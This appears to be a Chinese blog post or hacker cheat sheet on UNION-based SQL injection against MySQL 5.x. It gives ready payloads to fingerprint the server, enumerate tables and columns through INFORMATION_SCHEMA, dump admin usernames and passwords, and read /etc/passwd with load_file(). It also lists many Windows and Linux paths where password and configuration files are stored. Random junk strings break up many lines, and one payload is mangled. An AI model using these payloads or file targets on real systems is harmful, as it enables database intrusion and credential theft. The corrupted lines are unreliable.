mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
$ E" {" ?0 U* \2 m: D) p6 N2 A8 A中记录了Mysql中所有
* m1 ^! b- ?2 {* t% \: e存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
/ m" `  B4 W$ X$ J) f) D明。
1.得到所有数据库名：
& L0 o; a4 ~- z" ?9 \|SCHEMATA ->存储数据库名的表
2 }' F+ B1 a2 j0 C- b|—字段：SCHEMA_NAME ->数据库名称

  g- W- k7 y. C" ^+ f4 o|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
; [1 z, o' W! L6 v# q8 r|—字段：TABLE_NAME ->存储表的表名
7 y. v* W% V; Y0 K8 h+ D2 T* T
|COLUMNS ->存储的字段名表
7 v/ M  Z/ c( A; J: h5 n|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

5 Y2 N. }8 m, W1 i) @+ h; i|—字段：COLUMN_NAME ->该字段的名称
% b- u2 w  o, Y, U: [- l
& j# q4 S2 x9 y+ j# y* [$ H#########################################################################
2 ^4 H4 T7 k/ C) j; t##

0×001 获取系统信息:
- |3 R& S6 G- \5 F' N+ X8 D/ [
union select 1,2,3,4,5,concat
+ o% T5 L5 ]" T7 B+ r( Y(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
( J7 Q7 @/ m1 z2 }; Q$ q6 a: }8 ^
5 g. B, F9 x. h0 H/*

- M/ p1 |5 s. d& H" R@@global.version_compile_os 获取系统版本
& W$ @' z) ^- k5 r5 J! \
" z* g% M& d8 A" R7 F@@datadir 数据库路径
database() 当前数据库名称
, L& H& n9 O# G$ |0x3c62723e 换行HEX值
2 F& G4 e3 C1 P' n8 w
*/

! T1 d' O, N1 P0 S# R; \######################################################################

0×002 获取表名
5 l3 U. w2 {. ~; }. Y6 d; N5 j8 q0 N
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

5 k5 |9 T, L! ^# M% ~6 T& m2 @1 O/*

0x67617264656e 为当前数据库名
: t0 b# U& R% V) }+ }5 Q+ f* ~3 z
# F6 j( g5 n7 n$ [. Z0 b' s( y- }group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

1 G2 E- z% L0 R* j*/

. Y# e3 E( ?5 f1 @: \4 l$ X######################################################################
/ w. R  P4 c. x8 u
. W2 L) }+ q. F0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
. X3 T, U7 v4 k4 e! D/ T
& m0 d9 h  [7 q' }; }. d
table_schema=0x67617264656e limit 1 /*
! P% C8 ?; Y% [' ?( E% `; o
/*

! F6 O$ R2 o% Dgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

: y1 R& N5 s5 V0x61646d696e ->选择一个表
! e" v" v/ l  S! j! Y$ A6 ?
0x67617264656e ->数据库名
$ a, Z  c9 d0 h5 ]" F0 i
. d/ o/ B/ G7 S# ?*/

#####################################################################

7 A5 j# g- f) t! d$ g$ E0×004 获取数据
' C& x/ R/ c; W- `* g, w1 O
union select 1,2,3
: A6 n5 y$ H7 I# M,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
8 G/ k. G, ?! I: x7 O; I+ R
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
+ f3 \. {, c% x- H(adpassword),6,7,8 from admin
4 v: i  G/ X% q8 [% q! t5 Y
# F+ N' s8 P' ?% a0 Z4 L& P/*
+ F, j. M( @; C: P) j
0x3c62723e 换行符号HEX编码
# y4 m- d% a7 ?& r' m  b( ^
$ U) m+ _$ r" [7 M: O" k: _( Egroup_concat 同时获得该字段所有数据
- @( {! u8 F  _" A, O, z
* N& {# K# O9 W9 t: M( |*/
5 e% A1 u7 H5 |: |" b. ^2 Y2 R

6 A$ }* {$ _8 l+ s


6 Y  q8 m4 x9 K4 R' V6 b& {顺便添加一些mysql注入时非常有用的一些东西

! S/ U( ]$ f/ v4 ]简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
! |" o- \. b3 s/ ^  ?" P, j
& @) @$ c. l$ ^  ~1:system_user() 系统用户名
7 _4 M  o; C. R# x2 y5 z0 @6 t/ k4 |2 q2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
3 E$ j5 }/ ^3 A4 I5:database()    数据库名
( a% v2 [0 m  q0 v  }6:version()     MYSQL数据库版本
! g- q$ m( @7 S. x/ u; g3 w7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
! H* Z6 G9 U" `/ W. O9 y收集的一些路径：
/ h  r; `. L3 _) m+ E  nWINDOWS下:
- z. O9 k. f+ b& |+ E. j+ vc:/boot.ini          //查看系统版本
: Z4 l4 a5 q  d! M- R2 O" wc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
1 e' P' y5 G) \0 M6 pc:/winnt/php.ini
c:/winnt/my.ini
) T& u6 ~& T# w% R- h* k; v. k! kc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
" i" E# n7 F8 @  u7 Bc:\Program Files\Serv-U\ServUDaemon.ini
( y' ~4 c6 Q1 W0 e7 ic:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
8 Z# J1 `* X  \0 n- R0 z* i: @c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
1 n  f+ T5 y# h, l( G# V, u1 f//存储了pcAnywhere的登陆密码
' [+ x5 U8 j$ k& Y, V, U2 qc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
  t7 B, `6 F8 G' Wc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

) ]. y9 c& F  s2 @6 {9 n3 l
# G) o! B  f; ?0 hc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
2 ?% i  Y0 z% v! L' WC:\Program Files\mysql\my.ini
/ X, N, v% G0 Q- C, Jc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

0 t6 }; ]! V( M- n3 {6 ?- E+ T* [LUNIX/UNIX下:
6 s& l! [. [  N/ P% N' E* N/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
* k$ K7 p+ J9 S/ K# L  b8 r/usr/local/apache2/conf/httpd.conf
7 o! I1 j1 z' f- _9 U) o. [4 r/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
( i6 u7 H, U( ~/ g% {: ]' B3 t/etc/my.cnf //mysql的配置文件
& {0 Z1 i. g% S8 @/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
& V! q* `! Y# |) e/usr/local/app/php5/lib/php.ini //PHP相关设置
& T, j# c7 V6 d( ^# I+ A% Z/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
" `+ f8 j; d9 z. M/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
) A  G8 S% O3 N" D/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
( h, S$ w, T( [' A& {5 [$ X) c5 G/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
4 i& y9 B2 r' {$ }- _3 t* Y" o/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
  ~, T$ o# o- Zreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
2 h+ J5 @  H: Z+ k* X+ e上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
1 O7 n# F7 V/ i$ r
5 k' r. _( w) |5 ]+ o1 h" t/ ]